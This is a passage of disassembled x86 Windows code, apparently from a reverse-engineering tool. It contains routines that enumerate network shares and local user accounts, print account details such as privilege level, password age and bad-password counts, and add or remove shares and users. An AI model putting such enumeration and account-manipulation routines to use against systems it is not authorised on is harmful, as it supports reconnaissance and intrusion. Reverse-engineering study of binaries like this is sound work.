		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_413090	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131CD	proc near		; CODE XREF: seg000:loc_40EE43p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_413266
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_4131F6
		dec	eax
		jnz	short loc_413246
		push	edi
		push	0
		call	sub_41339F
		pop	ecx
		pop	ecx
		jmp	short loc_413242
; ---------------------------------------------------------------------------


loc_4131F6:				; CODE XREF: sub_4131CD+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_413234
		push	24h
		push	edi
		call	sub_417080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413234
		push	57h
		pop	eax


loc_41320D:				; CODE XREF: sub_4131CD+77j
		push	eax
		call	sub_413B77
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_468C4C
		push	ds:off_436618[eax*4]
		push	offset dword_436D24
		push	esi
		call	sub_4154E9
		add	esp, 18h
		jmp	short loc_413286
; ---------------------------------------------------------------------------


loc_413234:				; CODE XREF: sub_4131CD+2Dj
					; sub_4131CD+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_4132F3
		add	esp, 0Ch


loc_413242:				; CODE XREF: sub_4131CD+27j
		test	eax, eax
		jnz	short loc_41320D


loc_413246:				; CODE XREF: sub_4131CD+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_468C4C
		push	ds:off_43661C[eax*4]
		push	offset dword_436CF4
		push	esi
		call	sub_4154E9
		add	esp, 10h
		jmp	short loc_413286
; ---------------------------------------------------------------------------


loc_413266:				; CODE XREF: sub_4131CD+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_468C4C
		lea	eax, [eax+eax*2]
		push	ds:off_436618[eax*4]
		push	offset dword_436CBC
		push	esi
		call	sub_4154E9
		add	esp, 0Ch


loc_413286:				; CODE XREF: sub_4131CD+65j
					; sub_4131CD+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4131CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41328C	proc near		; CODE XREF: sub_4146BC+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_413299
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413299:				; CODE XREF: sub_41328C+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_421138
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi ; dword_421138
		test	ds:byte_468E4C,	1
		mov	ebp, eax
		jnz	short loc_4132D6
		or	ds:byte_468E4C,	1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	ds:dword_468BEC, eax


loc_4132D6:				; CODE XREF: sub_41328C+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_468BEC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi ; dword_421138
		mov	eax, ds:dword_468BEC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_41328C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132F3	proc near		; CODE XREF: sub_4131CD+6Dp
					; sub_4149E0+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_41335E
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_41335E
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_417080
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_41335E
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_43A288
		pop	edi
		leave
		retn
sub_4132F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41335E	proc near		; CODE XREF: sub_4132F3+Ap
					; sub_4132F3+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_41336B
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41336B:				; CODE XREF: sub_41335E+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_421064
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi ; dword_421064
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi ; dword_421064
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41335E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41339F	proc near		; CODE XREF: sub_4131CD+20p
					; sub_4146BC+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41335E
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41335E
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_43A260
		pop	esi
		retn
sub_41339F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133C2	proc near		; CODE XREF: seg000:0040EE6Fp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_41335E
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 18h


loc_4133FB:				; CODE XREF: sub_4133C2+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_43A2D4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_41345E
		cmp	ebx, 0EAh
		jz	short loc_41345E
		push	ebx
		push	ebx
		call	sub_413B77
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_436D84
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 24h
		jmp	short loc_4134CB
; ---------------------------------------------------------------------------


loc_41345E:				; CODE XREF: sub_4133C2+5Dj
					; sub_4133C2+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4134C2
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_41346C:				; CODE XREF: sub_4133C2+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_43A27C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_413483
		mov	eax, offset aNo	; "No"


loc_413483:				; CODE XREF: sub_4133C2+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_41346C
		xor	esi, esi


loc_4134C2:				; CODE XREF: sub_4133C2+A2j
		push	[ebp+var_4]
		call	ds:dword_43A418


loc_4134CB:				; CODE XREF: sub_4133C2+9Aj
		cmp	ebx, 0EAh
		jz	loc_4133FB
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4133C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134E3	proc near		; CODE XREF: seg000:loc_40EEE5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_413587
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_413525
		dec	eax
		jz	short loc_41351A
		dec	eax
		jnz	short loc_413540
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_413629
		add	esp, 14h
		jmp	short loc_41353C
; ---------------------------------------------------------------------------


loc_41351A:				; CODE XREF: sub_4134E3+1Dj
		push	ebx
		push	edi
		call	sub_413608
		pop	ecx
		pop	ecx
		jmp	short loc_41353C
; ---------------------------------------------------------------------------


loc_413525:				; CODE XREF: sub_4134E3+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_413539
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4135AE
		add	esp, 0Ch
		jmp	short loc_41353C
; ---------------------------------------------------------------------------


loc_413539:				; CODE XREF: sub_4134E3+45j
		push	57h
		pop	eax


loc_41353C:				; CODE XREF: sub_4134E3+35j
					; sub_4134E3+40j ...
		cmp	eax, edi
		jnz	short loc_413560


loc_413540:				; CODE XREF: sub_4134E3+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_468E50
		push	ds:off_43661C[eax*4]
		push	offset dword_436E74
		push	esi
		call	sub_4154E9
		add	esp, 10h
		jmp	short loc_4135A7
; ---------------------------------------------------------------------------


loc_413560:				; CODE XREF: sub_4134E3+5Bj
		push	eax
		call	sub_413B77
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_468E50
		push	ds:off_436618[eax*4]
		push	offset dword_436E34
		push	esi
		call	sub_4154E9
		add	esp, 18h
		jmp	short loc_4135A7
; ---------------------------------------------------------------------------


loc_413587:				; CODE XREF: sub_4134E3+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_468E50
		lea	eax, [eax+eax*2]
		push	ds:off_436618[eax*4]
		push	offset dword_436DF8
		push	esi
		call	sub_4154E9
		add	esp, 0Ch


loc_4135A7:				; CODE XREF: sub_4134E3+7Bj
					; sub_4134E3+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4134E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135AE	proc near		; CODE XREF: sub_4134E3+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_41335E
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_41335E
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_41335E
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	ds:dword_43A26C
		pop	edi
		leave
		retn
sub_4135AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_413608	proc near		; CODE XREF: sub_4134E3+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41335E
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41335E
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_43A25C
		pop	esi
		retn
sub_413608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413629	proc near		; CODE XREF: sub_4134E3+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_41335E
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_41335E
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_43A3E0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4139B6
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4139F1
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4154E9
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_413742
		dec	eax
		jz	short loc_41373B
		dec	eax
		jz	short loc_413734
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_413747
; ---------------------------------------------------------------------------


loc_413734:				; CODE XREF: sub_413629+102j
		mov	eax, offset aAdministrato_0 ; "Administrator"
		jmp	short loc_413747
; ---------------------------------------------------------------------------


loc_41373B:				; CODE XREF: sub_413629+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_413747
; ---------------------------------------------------------------------------


loc_413742:				; CODE XREF: sub_413629+FCj
		mov	eax, offset aGuest ; "Guest"


loc_413747:				; CODE XREF: sub_413629+109j
					; sub_413629+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4E
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4139E2
; ---------------------------------------------------------------------------


loc_4139B6:				; CODE XREF: sub_413629+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_436EA8
		push	eax
		call	sub_4154E9
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_412D4E
		add	esp, 20h


loc_4139E2:				; CODE XREF: sub_413629+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4139F1
		push	[ebp+var_4]
		call	ds:dword_43A418


loc_4139F1:				; CODE XREF: sub_413629+40j
					; sub_413629+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_413629	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139F7	proc near		; CODE XREF: seg000:0040EF11p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_41335E
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 18h


loc_413A36:				; CODE XREF: sub_4139F7+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_43A2F0
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_413A97
		cmp	eax, 0EAh
		jz	short loc_413A97
		push	eax
		push	eax
		call	sub_413B77
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_4370B0
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 24h
		jmp	short loc_413B12
; ---------------------------------------------------------------------------


loc_413A97:				; CODE XREF: sub_4139F7+62j
					; sub_4139F7+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_413B25
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_413B12


loc_413AA9:				; CODE XREF: sub_4139F7+EDj
		cmp	edi, esi
		jz	short loc_413AE8
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_5	; "  %S"
		push	eax
		call	sub_4154E9
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_413AA9
		jmp	short loc_413B12
; ---------------------------------------------------------------------------


loc_413AE8:				; CODE XREF: sub_4139F7+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_437068
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 1Ch


loc_413B12:				; CODE XREF: sub_4139F7+9Ej
					; sub_4139F7+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_413B25
		push	edi
		call	ds:dword_43A418
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_413B25:				; CODE XREF: sub_4139F7+A5j
					; sub_4139F7+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_413A36
		cmp	edi, esi
		jz	short loc_413B3D
		push	edi
		call	ds:dword_43A418


loc_413B3D:				; CODE XREF: sub_4139F7+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4139F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B77	proc near		; CODE XREF: sub_4131CD+41p
					; sub_4133C2+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_413C29
		jz	loc_413C22
		cmp	eax, 7Bh
		ja	short loc_413BEE
		jz	short loc_413BE4
		cmp	eax, 5
		jz	short loc_413BDA
		cmp	eax, 8
		jz	short loc_413BD0
		cmp	eax, 32h
		jz	short loc_413BC6
		cmp	eax, 35h
		jz	short loc_413BBC
		cmp	eax, 57h
		jnz	loc_413C78
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_413C99
; ---------------------------------------------------------------------------


loc_413BBC:				; CODE XREF: sub_413B77+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_413C99
; ---------------------------------------------------------------------------


loc_413BC6:				; CODE XREF: sub_413B77+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_413C99
; ---------------------------------------------------------------------------


loc_413BD0:				; CODE XREF: sub_413B77+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_413C99
; ---------------------------------------------------------------------------


loc_413BDA:				; CODE XREF: sub_413B77+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_413C99
; ---------------------------------------------------------------------------


loc_413BE4:				; CODE XREF: sub_413B77+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_413C99
; ---------------------------------------------------------------------------


loc_413BEE:				; CODE XREF: sub_413B77+1Aj
		sub	eax, 7Ch
		jz	short loc_413C1B
		sub	eax, 7C8h
		jz	short loc_413C14
		dec	eax
		jz	short loc_413C0A
		dec	eax
		jnz	short loc_413C78
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_413C99
; ---------------------------------------------------------------------------


loc_413C0A:				; CODE XREF: sub_413B77+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_413C99
; ---------------------------------------------------------------------------


loc_413C14:				; CODE XREF: sub_413B77+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_413C99
; ---------------------------------------------------------------------------


loc_413C1B:				; CODE XREF: sub_413B77+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_413C99
; ---------------------------------------------------------------------------


loc_413C22:				; CODE XREF: sub_413B77+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_413C99
; ---------------------------------------------------------------------------


loc_413C29:				; CODE XREF: sub_413B77+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_413C62
		jz	short loc_413C5B
		sub	eax, 8ADh
		jz	short loc_413C8D
		dec	eax
		dec	eax
		jz	short loc_413C54
		dec	eax
		jz	short loc_413C4D
		dec	eax
		dec	eax
		jnz	short loc_413C78
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_413C99
; ---------------------------------------------------------------------------


loc_413C4D:				; CODE XREF: sub_413B77+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_413C99
; ---------------------------------------------------------------------------


loc_413C54:				; CODE XREF: sub_413B77+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_413C99
; ---------------------------------------------------------------------------


loc_413C5B:				; CODE XREF: sub_413B77+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_413C99
; ---------------------------------------------------------------------------


loc_413C62:				; CODE XREF: sub_413B77+B9j
